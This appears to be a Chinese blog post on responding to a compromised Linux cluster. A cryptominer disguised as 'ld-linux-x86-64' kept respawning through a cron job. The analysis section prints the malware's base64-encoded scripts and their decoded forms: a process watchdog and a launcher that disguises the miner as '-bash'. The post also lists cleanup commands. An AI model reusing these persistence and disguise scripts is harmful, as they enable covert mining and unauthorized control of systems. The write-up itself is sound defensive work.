異常進程“ld-linux-x86-64”引發的一次集羣遭到黑客攻擊問題的解決

一、現象:

平臺集羣中的虛擬機,存在異常進程“ld-linux-x86-64”,佔用了大量cpu資源。其次,重啓虛擬機之後,虛擬機的操作系統ROOT用戶密碼會被修改,初步判斷原因爲被黑客攻擊。

二、探索:

安裝殺毒軟件clamav

1040  yum install clamd -y

 1043  freshclam

 1049  service clamd start

 1052  chkconfig clamd on

 1053  clamdscan -V

 1054  clamscan -r / --move=/tmp

附clamscan命令參數說明:

1、 全盤掃描:# clamscan -r /

2、 掃描到病毒後立即刪除(慎用):# clamscan -r / --remove

3、 掃描到病毒後立即移動到/tmp目錄:# clamscan -r / --move=/tmp

4、 生成掃描日誌文件:# clamscan/tmp/1.txt -l /var/log/clamscan.log

5、 常用選項:

(1) --quiet:只打印錯誤信息

(2) -i | --infected:只打印被感染的文件

(3) --remove[=yes/no(*)]:移除被感染的文件

(4) --move=DIRECTORY:將被感染的文件移至指定目錄

(5) --copy=DIRECTORY:將被感染的文件複製至指定目錄

(6) --exclude=REGEX:不掃描與正則表達式匹配的文件

(7) --exclude-dir=REGEX:不掃描與正則表達式匹配的目錄

(8) --include=REGEX:只掃描與正則表達式匹配的文件

(9) --include-dir=REGEX:只掃描與正則表達式匹配的目錄

-----------掃描摘要-----------

已知病毒:6778248

發動機版本:0.100.2

掃描目錄:24595

掃描文件:136784

受感染的文件:3

總錯誤:6043

掃描數據:8724.49 MB

數據讀取:8392.82 MB(比率1.04:1

---------------------------------

刪除感染文件之後,問題依然在,暫時排除病毒的可能。

三、突破:

由於問題進程殺了又起來,換言之“殺不死”,那麼一定有程序在監控並拉起它。最簡單的實現方式就是利用Linux系統的“crontab”了。Crontab定時器通常用來執行定時任務或週期性任務,使用起來簡單方便。於是隨手檢查了一下定時任務列表,終端鍵入命令“crontab -l”,發現:

        * * * * * /sbin/upd >/dev/null 2>&1

        意思是:/sbin/upd腳本每分鐘執行一次,執行的返回內容不輸出到控制檯。

腳本內容是:

#!/usr/bin/env bash

echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v

aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw

IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh

顯然,這是一個加密了的腳本,根據後面的“bash64 -di”

意思應該是用bash64編碼方式解碼,再後面的“sh”,意思是執行 解碼後的內容。

清理相關文件:

1.清除定時器中的定時任務

2.殺掉異常進程

3.刪掉分析出的所有涉及腳本及可執行文件

   rm -rf /sbin/upd

   rm -rf /sbin/initct1

   rm -rf /sbin/mke3fs

   rm -rf /sbin/s1n

   rm -rf /sbin/ld-linux-x86-64.so.2

   rm -rf /sbin/libpthread.so.1

4.修改root用戶密碼

四、分析:

涉及的腳本

1)/sbin/upd

腳本原文

#!/usr/bin/env bash
echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v
aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw
IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh

腳本解碼後的真實內容

#!/bin/sh
if test -r /sbin/initct1; then
pid=$(cat /sbin/initct1)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /sbin
./mke3fs &>/dev/null
exit 0
fi
fi

功能:

        進程守護

2)/sbin/upd

腳本原文

#!/usr/bin/env bash

echo 'IyEvYmluL2Jhc2gKLi9zMW4gLXMgIi1iYXNoIiAtcCBpbml0Y3QxIC4vbGQtbGludXgteDg2LTY0

LnNvLjIgLS1saWJyYXJ5LXBhdGggLiAuL2xpYnB0aHJlYWQuc28uMSA+Pi9kZXYvbnVsbCAmCg==' | base64 -di | sh

腳本解碼後的真實內容

#!/bin/bash
./s1n -s "-bash" -p initct1 ./ld-linux-x86-64.so.2 --library-path . ./libpthread.so.1 >>/dev/null &

功能:

        實現主功能(挖礦以及其他不可說的任務)

3)/sbin/initct1

功能:用來存放 進程ID。

可執行文件

 

/sbin/s1n

/sbin/ld-linux-x86-64.so.2

/sbin/libpthread.so.1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章